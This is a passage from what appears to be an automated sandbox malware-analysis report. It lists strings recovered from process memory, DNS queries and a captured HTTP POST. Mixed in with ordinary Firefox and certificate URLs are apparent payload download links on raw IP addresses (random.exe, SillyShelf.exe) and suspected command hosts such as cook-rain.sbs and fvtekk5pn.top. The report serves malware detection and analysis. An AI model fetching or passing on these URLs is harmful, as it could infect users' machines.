FIXUP_FLAGS_MAKE_ALTERNATE_URI_injectDefaultProtocolHandlersIfNeededhttp://www.inbox.lv/rfc2368/?value=%sFailed to listen. Callback argument missing.http://poczta.interia.pl/mh/?mailto=%sFailed to listen. Listener already attached.^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP@mozilla.org/uriloader/handler-service;1extractScheme/fixupChangedProtocol<browser.urlbar.dnsResolveFullyQualifiedNamesget FIXUP_FLAG_FORCE_ALTERNATE_URICan't invoke URIFixup in the content process{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sNo callback set for this channel.Scheme should be either http or httpshttps://mail.inbox.lv/compose?to=%s@mozilla.org/network/protocol;1?name=fileisDownloadsImprovementsAlreadyMigrated@mozilla.org/network/protocol;1?name=defaultbrowser.fixup.dns_first_for_single_wordshttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjs@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<@mozilla.org/uriloader/web-handler-app;1extension/bing@search.mozilla.org/extendedData equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3423226571.000001384A709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3423226571.000001384A717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3416671749.000001384A0D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: regsvr32.exe, 00000010.00000003.2979908455.0000000002E61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.20.78/x/SillyShelf.exe
Source: regsvr32.exe, 00000010.00000003.2979908455.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2979908455.0000000002E61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: regsvr32.exe, 00000010.00000003.2979908455.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6=
Source: regsvr32.exe, 00000010.00000003.2979908455.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395
Source: regsvr32.exe, 00000010.00000003.2979908455.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeq
Source: regsvr32.exe, 00000010.00000003.2979908455.0000000002E61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: regsvr32.exe, 00000010.00000003.2976303932.00000000038EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sFailed
Source: powershell.exe, 00000015.00000002.3446487850.000002C168A8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000015.00000002.3446487850.000002C168A8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: 41266a11cd.exe, 00000011.00000003.3329334715.0000000000AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: regsvr32.exe, 00000010.00000003.2976303932.00000000038EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: regsvr32.exe, 00000010.00000003.2979263024.0000000002E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digi
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: regsvr32.exe, 00000010.00000003.2976303932.00000000038EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000025.00000002.3392853212.0000013848A6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3392853212.0000013848A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3453790563.000001384C0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000025.00000002.3453790563.000001384C007000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: regsvr32.exe, 00000010.00000003.2979638617.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: ce23dfc9e9.exe, 00000007.00000003.3103276913.0000000001ACF000.00000004.00000020.00020000.00000000.sdmp, ce23dfc9e9.exe, 00000007.00000003.3103308625.0000000001AD7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2979638617.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347H
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000012.00000002.3114382603.00000286D5520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: firefox.exe, 00000025.00000002.3391777614.000001384896E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3453790563.000001384C007000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3462223844.000001384CA7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3413255606.0000013849D24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3404175503.00000138496E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849A07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3404175503.0000013849699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3406471097.0000013849837000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849AC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3438224321.000001384B449000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3257703585.00000138496E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3412278762.0000013849C3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3397387815.0000013849132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3390109839.00000138488E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849AA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3256810945.0000013849699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3254081636.0000013849699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3411269432.0000013849B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: powershell.exe, 00000012.00000002.3107246668.00000286CD2CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: regsvr32.exe, 00000010.00000003.2976303932.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sFailed
Source: powershell.exe, 00000012.00000002.3049906297.00000286BD489000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000012.00000002.3049906297.00000286BD261000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3172505170.000002C100001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000012.00000002.3049906297.00000286BD489000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/ExtHandlerService.sys.mjshttps://
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sFailed
Source: SillyShelf.exe, 00000008.00000003.2881203990.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, SillyShelf.exe, 00000008.00000003.2880830280.0000000002400000.00000004.00001000.00020000.00000000.sdmp, SillyShelf.tmp, 00000009.00000000.2881965370.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: powershell.exe, 00000015.00000002.3452411821.000002C168B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000015.00000002.3453552911.000002C168BAE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3452411821.000002C168B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000015.00000002.3447905935.000002C168B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.eF
Source: firefox.exe, 00000025.00000002.3411269432.0000013849B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-bu
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-notifi
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xultoolbar-context-menu-bookmarks-toolbar-
Source: SillyShelf.exe, 00000008.00000003.2881203990.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, SillyShelf.exe, 00000008.00000003.2880830280.0000000002400000.00000004.00001000.00020000.00000000.sdmp, SillyShelf.tmp, 00000009.00000000.2881965370.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/TrackingProtectionModeOption
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
